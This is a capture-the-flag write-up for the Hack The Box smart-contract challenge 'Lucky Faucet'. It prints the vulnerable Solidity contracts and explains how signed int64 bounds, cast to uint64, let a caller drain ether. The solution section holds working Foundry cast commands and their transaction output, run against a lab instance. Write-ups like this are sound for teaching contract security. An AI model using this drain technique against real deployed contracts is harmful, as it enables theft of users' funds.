Tags: smartcontract blockchain solidity
Rating:
## Lucky Faucet [easy]
### Description
`The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others.`
### Initial Analysis
Like the `Russian Roulette` challenge, HTB spawned two Docker containers and provided a .zip file containing smart contracts, `Setup.sol` and `LuckyFaucet.sol`. I began by looking at `Setup.sol`.
### Setup.sol
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
```
`Setup.sol` creates a new `LuckyFaucet` contract called `TARGET` with the initial balance of 500 ether. To solve the challenge, I needed to transfer at least 10 ether out of the `TARGET` contract to reduce its balance to 490 ether or less.
Next, I examined `LuckyFaucet.sol`.
#### LuckyFaucet.sol
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random ?"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
```
A `LuckyFaucet` contract contains two functions: `setBounds()` and `sendRandomETH()`. `setBounds()`accepts two 64-bit integers as parameters to represent the new `lowerBound` and `upperBound` values where `lowerBound` cannot exceed `upperBound` and the maximum amount of wei for each variable is limited to 50 million wei and 100 million wei respectively. Given there is 10^18^ wei in one ether, the initial bounds are much too small to achieve the goal of transferring 10 ether in a reasonable amount of time. The solution is to figure out a way to make transferring more ether at a team possible.
### Solution
With `lowerBound` and `upperBound` existing as signed integers or `int64`, a significantly large negative `lowerBound` value can be set and would result in a large `amountToSend` for `sendRandomETH()`. Even if the result of `upperBound - lowerBound + 1) + lowerBound` is a large negative number, the contract casting it to an unsigned integer or `uint64` will result in a positive number.
With this principle in mind, I set up my Foundry-rs Docker container ([Foundry](https://github.com/foundry-rs/foundry)) with the proper environment variables provided by HTB.
```bash
$ nc 94.237.63.2 38694
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xa26192c31c6a9630bda5f0da49d5910a57ff3d25523ed0daaba2fa86ee34ecf0
Address : 0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
Target contract : 0xEC9a50cbE92645C537d3645e714eDffD85055917
Setup contract : 0x83630575314cFDdE1C849b4f28B806381b7A67E6
# export PK=0xa26192c31c6a9630bda5f0da49d5910a57ff3d25523ed0daaba2fa86ee34ecf0
# export ATTACKER=0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
# export TARGET=0xEC9a50cbE92645C537d3645e714eDffD85055917
# export RPC=http://94.237.63.2:43020
```
I then used Foundry's `cast` tool to call the `setBounds()` function to create a significantly negative value for `lowerBound` where `lowerBound` was `-10000000000000000` and `upperBound` was `100000000`.
```solidity
# cast send --private-key $PK --rpc-url $RPC $TARGET "setBounds(int64, int64)" -- -10000000000000000 100000000
blockHash 0x61fc9b1c1d3d6cec7be31df01aad0dba01a5d2acaf583e96ae68f4b21f2414de
blockNumber 2
contractAddress
cumulativeGasUsed 27135
effectiveGasPrice 3000000000
from 0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
gasUsed 27135
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0x66ca28e9a4c26f24fb81841b133306d64f3dc971b858daa18a74404ddc991288
transactionIndex 0
type 2
to 0xEC9a50cbE92645C537d3645e714eDffD85055917
depositNonce null
```
After updating the bounds, I called the `sendRandomETH()` function, which drained at least the required 10 ether from the target contract and allowed me to get the flag.
```bash
# cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "sendRandomETH()"
blockHash 0x9739649d9e6ba6e8c8e39fee837a831de9c5429ed4caa63e8ec8e8a1727a3c5b
blockNumber 3
contractAddress
cumulativeGasUsed 30463
effectiveGasPrice 3000000000
from 0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
gasUsed 30463
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0xc9d12df171dee3f1cd8f4620d85c22aae557d4ba583910171b9469f219aed354
transactionIndex 0
type 2
to 0xEC9a50cbE92645C537d3645e714eDffD85055917
depositNonce null
```
```bash
$ nc 94.237.63.2 38694
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{1_f0rg0r_s0m3_U}
```